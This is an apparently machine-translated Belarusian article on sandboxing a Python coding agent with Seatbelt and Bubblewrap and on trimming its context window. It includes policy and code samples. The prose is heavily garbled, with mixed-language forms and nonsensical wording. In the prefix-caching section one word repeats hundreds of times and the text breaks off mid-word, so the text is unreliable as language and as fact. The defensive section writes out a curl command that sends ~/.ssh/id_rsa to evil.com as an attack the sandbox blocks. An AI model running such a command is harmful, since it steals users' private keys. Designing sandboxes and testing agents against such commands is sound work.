Галоўная / Артыкулы

Пясочніца для агента кадавання і эканомнае акно кантэксту

Ізалюем агента кадавання праз Seatbelt ці Bubblewrap і трымаем акно кантэксту кампактным: файлы перапаўнення, заглушкі, сцісканне і ўстаўкі, дружалюбныя да кэша прэфіксаў.

Выдавец: REACTAPP.TOP10 хв чытання2372 слоў

Крыніцы: Harness Engineering: Build the Runtime That Turns an LLM Into an Agent (Part 2/3)

Надаўшы агенту для кодавання правы на доступ да шэлу, рэдагаванне файлаў і прапытку падтверджэння для разрушальных дзеянняў, застаюцца два недагадкі. Прапыткі толькі выбіраюць, якія дзеяння заслуговуюць на увагу чалавека, і яны не можу зупініць мадэль, якая знаходзіць хітрыя способы ўхіліцца ад яных. Кроме таго, нават ввічлівы агент з часам заповнюе свае вікна кантэксту, і яго работа пагіршваецца. Два дадатковыя рашэнні выправляюць гэта: сандбокс, які фізычна не дазволяе паганам поведэнню, і інжынерыя кантэксту, якая дапамагае падтрымваць дугія сесіі ў прыемным і корыстным стане. Усё гэта — маленькі інструмент на Python, без жадных фрэймворкаў.

Участковыя файлы:

coding_harness/sandbox.py    # Seatbelt (macOS) / Bubblewrap (Linux)
coding_harness/history.py    # cap, strip, drop
coding_harness/compact.py    # LLM summary when the window is ~full
coding_harness/context.py    # late injection (time, git, file changes)

Сандбокс: стэны, а не замак

Сандбокс — гэта прастор, дзе код выконваецца без парадзюрэння чаго-небудзь за яго межамі. Уявіце акварыум: рыбы (каманды агента) свабодна плаваюць, а вода не вытыкаецца на падлогу. Запрос на разрэшэнне — гэта замак на дзверах, а сандбокс — стэны навакол кімнаты. Запросы дапамагаюць толькі пакуль каманда здаецца безнэбяжной, але яе ёсць, або пакуль мадэль не знаходзіць спосаб працавання.

Кожная каманда bash выконваецца ў «цюрьме» на рэвэльні ОС па следуючых правілах:

  • Можна чытаць любыя файлы, калі толькі агенту трэба разумець код, укладзены ў файлах за межамі праекта
  • Можна запісваць толькі файлы ўнутрь праекта
  • Няма доступу да сеткі
  • Няма можлівасці запісваць у файлы .git

Сам механізм Apple керуе macOS — апаратным з’явам пад назвай Seatbelt, які працюе праз sandbox-exec і таксама обмежвае дзеянне аплікацыяў з App Store. Linux выкарыстоўвае Bubblewrap (bwrap), інструмент, які ўходзіць у склад Flatpak. Не трэба маты спецыяльных знанняў ні ў аднам з гэтых падходаў, адтолькі трэба напісаць короткую політыку, якая вказвае, што дазволена.

Політыка для macOS складаецца толькі з калькі ліній:

(version 1)
(deny default)
(allow process-exec process-fork signal)
(allow file-read*)
(allow sysctl-read)
(deny network*)
(allow file-write* (subpath "/your/project") (literal "/dev/null"))
(deny file-write* (subpath "/your/project/.git"))

(deny default) закрывае ўсе можлівасці, а пасля зноў адкрываецца калькі з іх: чытанне файлаў, стварэнне процэсаў і запіс пад праектам. Сетка і .git застаюцца закрытымі, як і весь іншы кантэнт.

Функцыя wrap() запісвае гэтую політыку у тымчасовы файл і адправляе команду праз sandbox-exec (у sandbox.py):

def wrap(command):
    if sys.platform == "darwin":
        profile = Path(tempfile.gettempdir()) / "agent-sandbox.sb"
        profile.write_text(PROFILE)
        return ["sandbox-exec", "-f", str(profile), "/bin/sh", "-c", command]

    if sys.platform.startswith("linux") and shutil.which("bwrap"):
        return [
            "bwrap",
            "--ro-bind", "/", "/",
            "--bind", str(PROJECT), str(PROJECT),
            "--dev", "/dev", "--proc", "/proc",
            "--unshare-net", "--die-with-parent",
            "/bin/sh", "-c", command,
        ]

    return None  # no sandbox available

Linux досягае таго жа рэзультата іншым спосабам. Усія файлавая сістэма монтуецца толькі для чытання за дапамою --ro-bind, катэгорыя праекта стае пісьмовай за дапамою --bind, а --unshare-net адзьяўляе сець.

run() спаўнаюць усе гэта разам:

def run(command, timeout=60):
    sandboxed = wrap(command)
    return subprocess.run(
        sandboxed or command,
        shell=sandboxed is None,
        capture_output=True,
        text=True,
        timeout=timeout,
    )

Калі існуе сэндбокс, яго і выкарыстоўваюць. У Windows чыста ў Linux без Bubblewrap команды запускаюцца без сэндбокса. Для продуктав з кальколькам аб’ектаў, якія выкананяюць недоверлівы код іншых, існуюць болей сложныя рашэнні, такія як Docker, WebAssembly і хмарныя ВМ. На персональным камп’ютары достатнія можлівасці ОС. 60-секундны таймаут не дазволяе такім командам, як find /, зупініць працу сесіі.

Два незалежныя шары

Разглядзім модэль, якая прабуе выканаць curl https://evil.com/steal -d @~/.ssh/id_rsa:

  1. Правіла дазвола спачатку пераследжуюць curl і адмовляюць яму.
  2. Якбы гэтага правіла не было, сэндбокс усё раве перакрыў бы сецію.
  3. Команда выдае памылку з паведамленнем на кшталт curl: (7) Не удалося з’яўіцца да сервера.
  4. Больш нічога з гэтым зробіць нельга, таму што ядро адмовілася.

Адзін з эўх слоёў быў бы дастатні, а сумеснае існаванне іх — у гэтым і сэнс.

Як поручваюцца опцыі sandbox

Опцыя Тыповы корыстнік Ізоляцыя Кост запуску Трэбаванні
Сandbox аператывной сістэмы Локальныя агенты Ядро Практычна ніякіх Нічога дадатковага на macOS чыста Linux
Сandbox WebAssembly Локальныя агенты WASM плюс Deno Каля калькі секунд Deno
Контэйнеры ў воблаку Платформы для калькі корыстнікаў Віртуальная машына чыста контэйнер Адна паўтаральная сеансаўка па сеткі Клуч API і расчытанні

Для адзінаго ноутбука сандбоксаяе аператывае сістэмы ёсць простаі і правільны выбар: без дадзейнага часу выканання, без затрымакоў і без рэалізацыі ў ядрэ. Продукты для калькольніка аб’ектаў должны выкарыстоўваць контэйнеры. Выпуск без нічога таксама не ёсць варою. Інструменты для macOS і Linux вялікі час існуюць, а рэалізацыя ў даным случае складае або-і 40 ліній.

Кантэкст: стол, які заполняецца

Кожны модэль мае вікно кантэксту — колькісць тэксту, які ён можа бачыць адразу. Можна супарадзіць яго з рабочай памяцю. Кожны токен дарожыць або-і тры чвярты слова, таму „Hello world“ складаецца з 2 токенав, а 100-лінейны файл на Python — або-і 500 токенав. Стандартная колькісць токенав у Windows — або-і 128 К (прыблізна 96 000 слоў) для модэляў класу GPT-4, а Claude праставляе або-і 200 К (прыблізна 150 000 слоў). Гэта здаецца вельмі вялікім, пакуль агент не пачне працаваць.

Кожны рэзультат работы інструмента падае ў размову. Адна вялікае запытанне grep можа вернуць 50 000 сімвоў, вялікі файл дадае ўсё ўтолькі 10 000, а дзейсненне длігіх процедураў дыбаггінгу включае сотні вызоў. У канцы канцоў модэль трапляецца без напраменнага курсу.

Стол — гэта правыя аналагія. Усё, чым паціснуліся, застаецца на ям, а пасля гадзіны не можна знайсці патрэбную старонку. Рэшэння — трываць няўялікія старонкі пры сабе, а рэшту сховаць і частку выкінуць.

Чатыры слоі працуюць па рэчы, ад найдэшавейшага да найдорожэйшага, і пазнейшы слой запускаецца толькі тады, калі паканальныя слоі не былі дастатковы.

Слоі 1: ліміт па прыбыці

Скорачыце рэзультат як толькі інструмент яго вернуе. Полны тэкст падае ў тэмпарарны файл, а паказчык застаецца ў тэксце (history.py):

CAP = 10_000  # chars the agent sees inline

def cap(text):
    if len(text) <= CAP:
        return text
    path = spill(text)  # write full output to a temp file
    return (
        text[:CAP]
        + f"\n\n[output trimmed: {len(text) - CAP} of {len(text)} chars cut. "
        f"The whole output is at {path} - page through it with "
        "head, tail, sed -n or grep. It is deleted when this turn ends.]"
    )

Рэзультат з 50 000 сімваў паказвае толькі 10 000 сімваў у самым тэксце. Рэштка зберагаецца на дыску як файл з дадатковым тэкстам, і агент можа выкарыстоўваць команды head, tail чы grep, калі яму трэба больш мацерыяла. Адсечка тэкста выканана аднойчы, калі ствараецца рэзультат, і старыя паведамленні ніколі не перапісваюцца. Пасля кожнага крока команда sweep() вычышае тымчасовыя файлы, а паўтарны запуск каманды стварае новы файл з дадатковым тэкстам, як таго будзе трэба.

Паглядзіце рэальны прыклад grep -r "import" .:

# The agent sees the first 10,000 chars inline...
import os
import sys
from pathlib import Path
... (hundreds more lines) ...

[output trimmed: 40,000 of 50,000 chars cut. The whole output is at
/tmp/agent-spill-a1b2c3 - page through it with head, tail, sed -n or grep.
It is deleted when this turn ends.]

Ёнколі трэба знайсці адзін конкрэтны элемент імпорту, агент можа выконаць grep "import auth" на файле з данымі. Полны выходны тэкст ніколі не патрабуецца размешчаць у кантэксце.

Слой 2: скарычанне старых рэзультатаў да мінімальных форм

Пасля таго, як модэль перайшла да наступнага крока, старыя рэзультаты інструментаў не патрабуецца залішаць велікімі. Яны скарычваюцца да мінімальных форм (таксама ў history.py):

STUB = 300  # chars kept after the turn ends

def strip(messages):
    for message in messages[:-2]:  # skip recent messages
        content = message.get("content") or ""
        if message["role"] != "tool" or len(content) <= STUB:
            continue
        message["content"] = content[:STUB] + "\n\n[output trimmed: ...]"

Калі заканчываецца тур, выходны тэкст старога інструмента скарацься да 300 сімваў — гэтага достатнька, каб запамятаць, што гэта было, але недастатнька, каб займала месца. Няякшыя паведамленні застаюцца некінуцымі. Самэўсёль гэты слой падтрымлівае дзейнасць длігіх сесій. Скарацэнне 10 000 сімваў да 300 за дапамогою 50 вызоў інструментаў дазволяе адразніць сесію, якая трывае, ад той, якая ператыкаеся.

Слой 3: адмова ад усіх рэзультатаў

Калі рэзультаты заўсёды занадта вялікія, адмовляецца ад усіх рэзультатаў інструмента, прычым спачатку — ад старэйшых:

def fit(messages):
    budget = config.CONTEXT_WINDOW * config.COMPACT_AT
    dropped = 0
    for message in messages[:-2]:  # skip recent messages
        if estimate(messages) <= budget:
            break
        if message["role"] == "tool":
            message["content"] = "[output trimmed: dropped to fit the context window.]"
            dropped += 1
    return dropped

Гэта кантэнтнае калікатара. Інфармацыя губіцца, але гэта лепша, чым крах сістэмы. Калі першыя два слоі працююць, ён практычна ніколі не актываецца.

Слоі 4: кампактаванне за дапомогою другой модэлі

Калі ступень вікорыстоўвання перасягне 85% часу працы, другая LLM чытае весь транскрыпт і стварае заўважэння пра перадачу задачы, падобнае да таго, калі медбраты інформуюць наступную змяну (compact.py):

COMPACT_SYSTEM_PROMPT = """
You are compacting the transcript of a coding session. Write the handoff note
that lets a fresh agent pick the work up without re-reading anything.

## Goal
What the user asked for. Quote them where the exact wording matters.

## What happened
Decisions taken and the reasoning behind them. Include approaches that were
tried and abandoned, and why.

## Files
Every file touched: path, and what changed in it.

## State
What works, what is broken, what was left half-finished.

## Next
The immediate next step.
"""

Пасля чаго ў кантэксце застаёцца запрошэнне сістэмы, стык і апошнія калькі прыемаў. Історыя слоў за словамі знікае, але сюжэт застаёцца. Новы агент, або той самы пасля перзапуску, прыступае да работы з гэтых нотатак. Працэс складчаўкі запускаецца на 85% і зменшаецца да 35%, залішаючы достатню колькасць меса пры наступным запуске:

COMPACT_AT = 0.85  # trigger compaction at 85%
COMPACT_TO = 0.35  # cut back to 35%

Такая парадыгма выбрана няхацяжна. Абмежэнне вартасці не каштуе нічога, адчысцэнне — дэшава, а выкарыстоўванне новых дадзеных заводзіць да проблем, а стысненне трэбуе дадатковага вызову LLM. Большасць сэсій ніколі не пераходзі за 2-й слой.

Кэшаванне прыфіксаў і пазнейшая інжэкцыя

Гэты аспект лёгка працягнуць, але ён дапамагае заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўсёды заўс

Проблема заключаецца ў тым, што агент за кожны раз хочаць свежых фактов: час, гілку git, файлы, якія зменіліся. Іх трэба падаць у сістэмны запрос, у першаяе паведамленне, а таксама ў прыметнік; інакша кэш згубяецца, і кожны раз працэўка стае зношлівай.

Рашэнне — дадаць гэтыя факты абдзёльна, адразу перад тым, як будзе адправленае запроса (context.py). У agent.py вызов выглядае так: call_llm(messages + [reminder()]). Прыметнік дадаецца толькі да гэтага конкрэтнага запроса, таму зберажаная історыя, а значыць і прыметнік, ніколі не змініцца нават на байт. Гэта ёсць прынцып пазнейшага введэння: все, што можа зменіцца, павінна быць у канцы запроса, а не ў сістэмным запросе.

def reminder():
    return {
        "role": "user",
        "content": (
            "<context>\n"
            f"time: {datetime.now():%Y-%m-%d %H:%M}\n"
            f"git branch: {git('branch --show-current').strip() or '(detached)'}\n"
            "</context>" + todos_note() + changes_note()
        ),
    }

changes_note() парабярае git status між разамі, таму агент вучыцца, калі ў IDE было ўтрымана якаясь змяна:

def changes_note():
    changed = file_changes()
    if not changed:
        return ""
    lines = [f"{LABELS.get(code, code)}: {path}" for path, code in changed.items()]
    return (
        "\n<file_changes>\n"
        "These files changed since your last turn. Read them again before "
        "editing:\n" + "\n".join(lines) + "\n</file_changes>"
    )

Спрампт сістэмы і історыя застаюцца тымі ж; API запам’ятовуе гэты прымак і толькі новы фрагмент коштае грошы. Напамінанне містыць час, гілку git, <todos> калі існуе план, а таксама <file_changes> з git status з моменту пярэдньяго крока, што спакушвае агента перачытаць файлы, якія былі зменены ў іншым месцы. У сесіі дэбаггінгу на 50 крокаў з кантэкстам у 100K цэгла адмовляецца ад перапрацоўкі мільйонав токенав, пры чым практычна не выкарыстоўваецца дапаможны код. Даныя за кожны крок дадаюцца, але ніколі не падаюць у спрампт сістэмы.

CONTEXT_WINDOW па замовчанню становіць 128000 і можа быць настаўлены ў ~/.agents/env для іншага модэлю.

Што можа робіць агент зараз

З наявнасцю ціклу, інструментаў, прав, сандбокса і апрацоўкі кантэксту агент можа:

  • Ціклізаваць сам, вызываць інструменты і вяртаць рэзультаты
  • Перазстаць пасля некорэктных вызываў інструментаў
  • З’явіцца пры адзеях, якія ўскладнююць сітуацыю, і адмовіцеся ад найбольш апасных з іх
  • Выкананні каманд у сандбоксе ядра без сеткі, пры чым запіс обмежаны толькі праектам
  • Зберагачыце вікно чыстым за дапамою чатырох слоёў
  • Зберагачыце кэш прыфікса недыягнутым праз пазнююцыяся інжэкцыі
  • Усе гэта робіць яго безпечным і дастаткова дышэчым для ўжытку ў кожны дзень. Аднак застаюцься прасцярочкі: няма памяці між сэсіямі, няма планавання для багатоэтапных заданняў і няма можлівасці перадаць аналіз на дапамогу іншаму агенту. Навыкі, правільны спіс задач, стойкія сэсіі і падагенты, якія працуюць парадоксальна ад галоўнага вікна, моглі б іх заполніць. Гэтыя прымітывы — тыя ж, якія вікорыстоўваюць агенты у прымэннай працы, і ў іх няма нічага таёмнага.

    Супаўзвязаныя матэрыялы

  • Як токен з адначым сімволам дазволіў прыняць кантроль над гэйтвэем LiteLLM — Ханіпоты паказваюць, як зловеры выкорыстоўвалі слабасці ў аўтэнтыфікацыі LiteLLM MCP і пры выпалоўванні коду. Тут паказана ланцуг атакі і шэсць крокаў для ўдарожэння захопнення.
  • Як заставіць агенты працаваць вялікі час: способы для дыялогаў агентаў і ўдарожэння рэсурсаў — Як агенты можаць працаваць дыялогава і заставіць свае дзеянні цэлеспрабнымі: вікорыстоўванне кэшу, пяць крокаў до ўдарожэння, дэлегаванне як межа памяці, расчытак вартасцей.
  • Inžынерыя Harness для агентаў: стан, перакананне і кантроль у аптэксце модэлю — Практычны падход да агентаў у часе ўрабаткі: чаму запыты і кантэкст недастатні, і як стойкі стан, прыменэнне правілаў, перакананне і можлівасць абзірнасці заполняюцыя гэтыя прасоцы.
  • Inžынерыя Harness: аптэкст, які робіць агенты AI надзеянымі — Чаму існуе інжынерыя Harness, яе шасць складовых і тры основныя прынцыпы, як гэты тэрмін з’явіўся у 2026 годзе, і дзевяць прынцыпаў дызайну для агентаў у прыменэнні.
  • LangChain4j для команд, які выкарыстоўваюць Java: інструменты, агенты, навыкі і мадэлі A2A у сервісах Spring — як за дапамою LangChain4j увесты вызовы інструментаў, пайплайны агентаў, навыкі на запыт, функцыю паўзы і продажы працы, а таксама аддаленыя агенты тыпу A2A у існуючы Java-сервіс.